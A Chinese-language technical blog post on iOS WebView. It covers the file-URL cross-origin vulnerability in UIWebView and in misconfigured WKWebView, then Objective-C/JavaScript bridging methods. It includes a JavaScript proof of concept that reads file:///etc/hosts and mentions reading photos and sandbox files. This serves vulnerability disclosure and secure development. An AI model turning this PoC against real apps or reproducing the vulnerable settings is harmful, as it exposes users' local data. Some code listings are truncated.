WebView是iOS用于显示网页的控件,是一个基于Webkit引擎、展现web页面的控件。WebView控件功能除了具有一般View的属性和设置外,还可对URL请求、页面加载、渲染、页面交互进行处理。
iOS下的Webview有UIWebView和WKWebView两种,其中UIWebView在iOS 8之后已经不推荐使用(https://developer.apple.com/documentation/uikit/uiwebview?changes=_6),但仍然有很多APP使用UIWebView。
File跨域漏洞
UIWebView 此漏洞默认存在, WKWebView如果使用了不恰当的方式比如 [configuration.preferences setValue:@”TRUE” forKey:@”allowFileAccessFromFileURLs”]; 也会存在漏洞
攻击者可利用App文件下载机制将恶意文件写入沙盒内并诱导用户打开,当用户打开恶意文件时,其中的恶意代码可通过AJAX向“file://”域发起请求,从而远程获取App沙盒内所有的本地敏感数据。
UIWebView
UIWebView虽然已经被遗弃,但依然还有很多app继续使用,且最新版本的iOS也会兼容UIWebView。由于UIWebView本身存在严重的跨域漏洞,所以只要使用UIWebView都有可能存在跨域漏洞。
漏洞原因在于UIWebView的WebKitAllowUniversalAccessFromFileURLs和WebKitAllowFileAccessFromFileURLs默认开启,导致通过js可以访问沙箱内的文件,甚至可以静默上传文件到远端。
漏洞代码示例:1
2
3
4
5
6
7
8
9UIWebView* uiweb = [[UIWebView alloc] initWithFrame:self.view.frame];
uiweb.center = self.view.center;
// 打开本地html文件
NSString *resourcePath = [[NSBundle mainBundle] resourcePath];
NSString *filePath =[resourcePath stringByAppendingPathComponent:@"index.html"];
NSMutableString *htmlstring=[[NSMutableString alloc] initWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
NSURL *baseUrl=[NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
[uiweb loadHTMLString:htmlstring baseURL:baseUrl];
[self.view addSubview:uiweb];
PoC代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16var localfile = "file:///etc/hosts"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if (xhr.readyState==4)
{
alert(xhr.responseText);
}
}
try {
xhr.open("GET", localfile, true);
xhr.send();
}
catch (ex) {
alert(ex.message);
}
被攻击者点击打开文件后,应用默认使用UIWebView进行加载,结果如下图:
如果将localfile设置为”/User/Media/DCIM/100APPLE/xxx.JPG”即可以打开本地照片,设置成相对路径即可打开沙盒内的任意文件。
修复方式是使用WKWebView替换UIWebView,并做好配置,因为WKWebView也不是绝对安全。
WKWebView
WKWebView默认allowFileAccessFromFileURLs和allowUniversalAccessFromFileURLs选项为false,但如果开发者开启了这两个API,同样存在跨域漏洞。
需要注意的是allowFileAccessFromFileURLs和allowUniversalAccessFromFileURLs任意一个API设置为true,都会存在漏洞。另外,在OC中两个API的调用不同且均为私有API,详见以下代码。
漏洞代码示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14//配置WKWebView设置allowFileAccessFromFileURLs 为true
WKWebViewConfiguration * configuration = [[WKWebViewConfiguration alloc] init];
//[configuration.preferences setValue:@TRUE forKey:@"allowFileAccessFromFileURLs"];
[configuration setValue:@TRUE forKey:@"allowUniversalAccessFromFileURLs"];
WKWebView *wkweb = [[WKWebView alloc] initWithFrame:self.view.frame configuration:configuration];
wkweb.center = self.view.center;
wkweb.UIDelegate = self;//代理,需要实现alert
[self.view addSubview:wkweb];
NSString *resourcePath = [[NSBundle mainBundle] resourcePath];
NSString *filePath =[resourcePath stringByAppendingPathComponent:@"index.html"];
NSMutableString *htmlstring=[[NSMutableString alloc] initWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
NSURL *baseUrl=[NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
[wkweb loadHTMLString:htmlstring baseURL:baseUrl];
开启API后执行结果如下:
参考资料:
- CNNVD 关于iOS平台WebView组件跨域漏洞情况的通报 https://mp.weixin.qq.com/s/ZBMCgoQnYIUHVjrUHOlv4g
- https://bugs.webkit.org/show_bug.cgi?id=154916
- https://developer.apple.com/documentation/webkit/wkwebview
OC和js的相互调用
OC调用js
UIWebView
1.stringByEvaluatingJavaScriptFromString
该方法不能判断调用了一个js方法之后,是否发生了错误。当错误发生时,返回值为nil,而当调用一个方法本身没有返回值时,返回值也为nil,所以无法判断是否调用成功了。1
2
3
4NSString *str = [uiweb stringByEvaluatingJavaScriptFromString:@"document.location.href='https://www.baidu.com';"
"document.title='test';"
"setTimeout(document.write('aaaa'),9000);"];
NSLog(@"%@",str);2.JavaScriptCore(iOS 7.0 +)
WebKit有一个内嵌的js环境,一般我们在页面加载完成之后,获取js上下文,然后通过JSContext的evaluateScript:方法来获取返回值。因为该方法得到的是一个JSValue对象,所以支持JavaScript的Array、Number、String、对象等数据类型。
1 | JSContext *jsContext = [uiwebView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]; |
WKWebView
WKWebView提供了一个evaluateJavaScript的方法1
-(void)evaluateJavaScript:(NSString *)javaScriptString completionHandler:(void (^ _Nullable)(_Nullable id result, NSError * _Nullable error))completionHandler;
实例代码如下:1
2
3[self.webView evaluateJavaScript:@"document.title" completionHandler:^(id _Nullable title, NSError * _Nullable error) {
NSLog(@"调用evaluateJavaScript异步获取title:%@", title);
}];
js调用OC
UIWebView
- 拦截自定义scheme
比如m4bln://。方法是在html或者js中,点击某个按钮触发事件时,跳转到自定义URL Scheme构成的链接,而OC中捕获该链接,从中解析必要的参数,实现JS到OC的一次交互。比如页面中一个a标签,链接如下:1
<a href="m4bln://login?aaa=xxx">
OC代码实现如下:1
2
3
4
5
6
7
8
9
10
11
12-(BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType
{
//标准的URL包含scheme、host、port、path、query、fragment等
NSURL *URL = request.URL;
if ([URL.scheme isEqualToString:@"m4bln"]) {
if ([URL.host isEqualToString:@"login"]) {
NSLog(@"js参数为 %@", URL.query);
return NO;
}
}
return YES;
}
- 2.JavaScriptCore(iOS 7.0 +)
利用JavaScriptCore,在页面加载完成时,先获取js上下文。获取到之后,我们就可以进行强大的方法映射了。
例如,前端调用share方法:1
2function share(title, imgUrl, link) {
}
对应的OC代码为:
1 | -(void)webViewDidFinishLoad:(UIWebView *)webView |
WKWebView
- 1.拦截自定义scheme
1 | -(void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler { |
- 2.scriptMessageHandler
(1) 创建WKWebViewConfiguration对象,配置各个API对应的MessageHandler。
(2) 创建WKWebView。
(3) 实现协议方法。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26//首先别忘了,在configuration中的userContentController中添加scriptMessageHandler
[controller addScriptMessageHandler:self name:@"shareNew"]; //记得适当时候remove
//点击a标签时,则会调用下面的方法
#pragma mark - WKScriptMessageHandler
-(void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
if ([message.name isEqualToString:@"shareNew"]) {
NSDictionary *shareData = message.body;
NSLog(@"shareNew分享的数据为: %@", shareData);
//模拟异步回调
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(4 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
//读取js function的字符串
NSString *jsFunctionString = shareData[@"result"];
//拼接调用该方法的js字符串
NSString *callbackJs = [NSString stringWithFormat:@"(%@)(%d);", jsFunctionString, NO]; //后面的参数NO为模拟分享失败
//执行回调
[self.webView evaluateJavaScript:callbackJs completionHandler:^(id _Nullable result, NSError * _Nullable error) {
if (!error) {
NSLog(@"模拟回调,分享失败");
}
}];
});
}
}
参考链接:
- iOS中UIWebView与WKWebView、JavaScript与OC交互 https://www.jianshu.com/p/ac45d99cf912